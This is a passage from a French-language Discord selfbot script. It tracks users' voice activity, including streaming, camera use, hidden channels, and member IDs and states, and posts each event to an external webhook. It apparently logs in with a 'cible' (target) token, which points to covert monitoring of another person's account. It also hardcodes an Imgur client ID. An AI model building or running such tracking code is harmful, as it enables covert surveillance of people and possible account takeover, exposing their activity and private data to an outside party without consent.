***Nombre d'utilisateurs:*** \`${oldState.channel.members.size}\`
***Vocal Caché:*** ${oldState.channel.permissionsFor(oldState.user).has('VIEW_CHANNEL') ? "`❌`" : "`✔`"}
`)
for (const member of oldState.channel.members.filter(c => c.id).toJSON().slice(0, 20))
embed.addFields({ name: `${member.user.displayName}`, value: `User: ${member} (\`${member.user.username}\` | \`${member.user.id}\`)\nMute: ${member.voice.mute ? '`✔`' : '`❌`'}\nDeaf: ${member.voice.deaf ? '`✔`' : '`❌`'}\nCaméra: ${member.voice.selfVideo ? '`✔`' : '`❌`'}\nStreaming: ${member.voice.streaming ? '`✔`' : '`❌`'}`, inline: true })
sendEmbed(config.voiceWebhookUrl, embed)
}
else if (!oldState.streaming && newState.streaming){
const embed = new RichEmbed()
.setTitle(`${newState.user.displayName} a activé son stream`)
.setColor(0x313338)
.setDescription(`
***Serveur:*** \`${newState.guild ? newState.guild.name : 'Aucun Serveur'}\`
***Type de salon:*** \`${channelType(newState.channel.type)}\`
***Salon:*** ${newState.channel} ${newState.guild ? `[\`Rejoindre le salon\`](https://discord.com/channels/${newState.guild.id}/${newState.channel.id})` : ''}
***Nombre d'utilisateurs:*** \`${newState.channel.members.size}\`
***Vocal Caché:*** ${newState.channel.permissionsFor(newState.user).has('VIEW_CHANNEL') ? "`❌`" : "`✔`"}
`)
for (const member of newState.channel.members.filter(c => c.id).toJSON().slice(0, 20))
embed.addFields({ name: `${member.user.displayName}`, value: `User: ${member} (\`${member.user.username}\` | \`${member.user.id}\`)\nMute: ${member.voice.mute ? '`✔`' : '`❌`'}\nDeaf: ${member.voice.deaf ? '`✔`' : '`❌`'}\nCaméra: ${member.voice.selfVideo ? '`✔`' : '`❌`'}\nStreaming: ${member.voice.streaming ? '`✔`' : '`❌`'}`, inline: true })
sendEmbed(config.voiceWebhookUrl, embed)
}
else if (oldState.streaming && !newState.streaming){
const embed = new RichEmbed()
.setTitle(`${oldState.user.displayName} a coupé son stream`)
.setColor(0x313338)
.setDescription(`
***Serveur:*** \`${oldState.guild ? oldState.guild.name : 'Aucun Serveur'}\`
***Type de salon:*** \`${channelType(oldState.channel.type)}\`
***Salon:*** ${oldState.channel} ${oldState.guild ? `[\`Rejoindre le salon\`](https://discord.com/channels/${oldState.guild.id}/${oldState.channel.id})` : ''}
***Nombre d'utilisateurs:*** \`${oldState.channel.members.size}\`
***Vocal Caché:*** ${oldState.channel.permissionsFor(oldState.user).has('VIEW_CHANNEL') ? "`❌`" : "`✔`"}
`)
for (const member of oldState.channel.members.filter(c => c.id).toJSON().slice(0, 20))
embed.addFields({ name: `${member.user.displayName}`, value: `User: ${member} (\`${member.user.username}\` | \`${member.user.id}\`)\nMute: ${member.voice.mute ? '`✔`' : '`❌`'}\nDeaf: ${member.voice.deaf ? '`✔`' : '`❌`'}\nCaméra: ${member.voice.selfVideo ? '`✔`' : '`❌`'}\nStreaming: ${member.voice.streaming ? '`✔`' : '`❌`'}`, inline: true })
sendEmbed(config.voiceWebhookUrl, embed)
}
else if (!oldState.selfVideo && newState.selfVideo){
const embed = new RichEmbed()
.setTitle(`${newState.user.displayName} a activé sa caméra`)
.setColor(0x313338)
.setDescription(`
***Serveur:*** \`${newState.guild ? newState.guild.name : 'Aucun Serveur'}\`
***Type de salon:*** \`${channelType(newState.channel.type)}\`
***Salon:*** ${newState.channel} ${newState.guild ? `[\`Rejoindre le salon\`](https://discord.com/channels/${newState.guild.id}/${newState.channel.id})` : ''}
***Nombre d'utilisateurs:*** \`${newState.channel.members.size}\`
***Vocal Caché:*** ${newState.channel.permissionsFor(newState.user).has('VIEW_CHANNEL') ? "`❌`" : "`✔`"}
`)
for (const member of newState.channel.members.filter(c => c.id).toJSON().slice(0, 20))
embed.addFields({ name: `${member.user.displayName}`, value: `User: ${member} (\`${member.user.username}\` | \`${member.user.id}\`)\nMute: ${member.voice.mute ? '`✔`' : '`❌`'}\nDeaf: ${member.voice.deaf ? '`✔`' : '`❌`'}\nCaméra: ${member.voice.selfVideo ? '`✔`' : '`❌`'}\nStreaming: ${member.voice.streaming ? '`✔`' : '`❌`'}`, inline: true })
sendEmbed(config.voiceWebhookUrl, embed)
}
else if (oldState.selfVideo && !newState.selfVideo){
const embed = new RichEmbed()
.setTitle(`${oldState.user.displayName} a désactivé sa caméra`)
.setColor(0x313338)
.setDescription(`
***Serveur:*** \`${oldState.guild ? oldState.guild.name : 'Aucun Serveur'}\`
***Type de salon:*** \`${channelType(oldState.channel.type)}\`
***Salon:*** ${oldState.channel} ${oldState.guild ? `[\`Rejoindre le salon\`](https://discord.com/channels/${oldState.guild.id}/${oldState.channel.id})` : ''}
***Nombre d'utilisateurs:*** \`${oldState.channel.members.size}\`
***Vocal Caché:*** ${oldState.channel.permissionsFor(oldState.user).has('VIEW_CHANNEL') ? "`❌`" : "`✔`"}
`)
for (const member of oldState.channel.members.filter(c => c.id).toJSON().slice(0, 20))
embed.addFields({ name: `${member.user.displayName}`, value: `User: ${member} (\`${member.user.username}\` | \`${member.user.id}\`)\nMute: ${member.voice.mute ? '`✔`' : '`❌`'}\nDeaf: ${member.voice.deaf ? '`✔`' : '`❌`'}\nCaméra: ${member.voice.selfVideo ? '`✔`' : '`❌`'}\nStreaming: ${member.voice.streaming ? '`✔`' : '`❌`'}`, inline: true })
sendEmbed(config.voiceWebhookUrl, embed)
}
})
/**
* @param {ChannelTypes} type
*/
function channelType(type){
switch(type){
case "dm": return "DM";
case "group": return "Groupe";
case "category": return "Catégorie";
case "voice": return "Salon Vocal";
case "forum": return "Salon Forum";
case "text": return "Salon Textuel";
case "unknown": return "Salon Inconnu";
case "stage_voice": return "Salon Conférence";
case "news": return "Salon Nouveautées";
case "news_thread": return "Thread";
case "public_thread": return "Thread";
case "private_thread": return "Thread";
case "media": return "Salon Media"
default: "Autre"
}
}
function sendEmbed(webhookUrl, embeds){
if (!webhookUrl.startsWith('http')) return false;
if (embeds.description) embeds.description = embeds.description.replaceAll(' ', '');
return fetch(webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ embeds: [embeds] })
})
}
/**
* @param {string} imageURL
* @returns {string | boolean}
*/
async function upload(imageURL){
const token = "Client-ID 34b90e75ab1c04b";
const api = "https://api.imgur.com/3/image";
const response = await fetch(api, {
headers: {
authorization: token,
'content-type': 'application/json'
},
body: JSON.stringify({ image: imageURL, name: ' ', type: 'url' }),
method: "POST",
}).then(r => r.json())
if (response.status == 200) return response.data.link
else return false;
}
async function errorHandler(error) {
const errors = [0, 400, 10062, 10008, 50035, 40032, 50013]
if (errors.includes(error.code)) return;
console.log(error)
}
process.on("unhandledRejection", errorHandler);
process.on("uncaughtException", errorHandler);
client.login(isNaN(config.cible) ? config.cible : config.token);